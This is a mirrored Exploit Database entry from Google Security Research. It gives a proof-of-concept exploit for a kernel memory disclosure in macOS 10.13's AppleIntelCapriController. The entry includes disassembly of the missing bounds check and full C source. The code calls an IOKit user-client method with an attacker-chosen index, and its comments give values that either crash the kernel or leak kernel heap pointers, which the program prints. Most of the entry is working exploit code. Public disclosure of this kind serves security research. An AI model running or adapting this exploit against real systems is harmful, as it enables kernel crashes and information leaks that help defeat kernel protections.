macOS 10.13 (17A365) – Kernel Memory Disclosure due to Lack of Bounds Checking in ‘AppleIntelCapriController::getDisplayPipeCapability’

• Exploit Database
• 120 阅读

• 作者： Google Security Research
  日期： 2018-01-19
• 类别：

  • dos
  平台：

  • macos
• 来源：https://www.exploit-db.com/exploits/43780/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103

  /* AppleIntelCapriController::getDisplayPipeCapability reads an attacker-controlled dword value from a userclient structure input buffer which it uses to index a small array of pointers to memory to copy back to userspace.   There is no bounds checking on the attacker supplied value allowing (with some heap grooming) the disclosure of arbitrary kernel memory:   __text:000000000002ACE0 mov eax, [rbx]; structure input buffer __text:000000000002ACE2 mov rsi, [rdi+rax*8+0E48h]; rax is controlled -> rsi read OOB __text:000000000002ACEA cmp byte ptr [rsi+1DCh], 0; as long as this byte isn&apos;t NULL __text:000000000002ACF1 jzshort loc_2AD10 __text:000000000002ACF3 add rsi, 1E11h; void *; add this offset __text:000000000002ACFA mov edx, 1D8h ; size_t __text:000000000002ACFF mov rdi, r14; void * __text:000000000002AD02 call_memcpy ; copy to structure output buffer, will be returned to userspace   Tested on MacOS 10.13 (17A365) on MacBookAir5,2 */   // ianbeer // build: clang -o capri_display_pipe capri_display_pipe.c -framework IOKit   #if 0 MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability   AppleIntelCapriController::getDisplayPipeCapability reads an attacker-controlled dword value from a userclient structure input buffer which it uses to index a small array of pointers to memory to copy back to userspace.   There is no bounds checking on the attacker supplied value allowing (with some heap grooming) the disclosure of arbitrary kernel memory:   __text:000000000002ACE0 mov eax, [rbx]; structure input buffer __text:000000000002ACE2 mov rsi, [rdi+rax*8+0E48h]; rax is controlled -> rsi read OOB __text:000000000002ACEA cmp byte ptr [rsi+1DCh], 0; as long as this byte isn&apos;t NULL __text:000000000002ACF1 jzshort loc_2AD10 __text:000000000002ACF3 add rsi, 1E11h; void *; add this offset __text:000000000002ACFA mov edx, 1D8h ; size_t __text:000000000002ACFF mov rdi, r14; void * __text:000000000002AD02 call_memcpy ; copy to structure output buffer, will be returned to userspace   Tested on MacOS 10.13 (17A365) on MacBookAir5,2 #endif   #include <stdio.h> #include <stdlib.h> #include <string.h>   #include <IOKit/IOKitLib.h>   int main(int argc, char** argv){ kern_return_t err;   io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));   if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; }   io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 0, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; }   uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0;   char inputStruct[4096]; size_t inputStructCnt = 8; *(uint64_t*)inputStruct = 0x12345678; // crash //*(uint64_t*)inputStruct = 0x37; // disclose kernel heap memory     uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0;   char outputStruct[4096]; size_t outputStructCnt = 4096;   err = IOConnectCallMethod( conn, 0x710, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt);   if (outputStructCnt > 20) { int n_leaked_ptrs = (outputStructCnt-7)/8; uint64_t* ptrs = (uint64_t*) (outputStruct+7); for (int i = 0; i < n_leaked_ptrs; i++) { printf("%016llx\n", ptrs[i]); } } return 0; }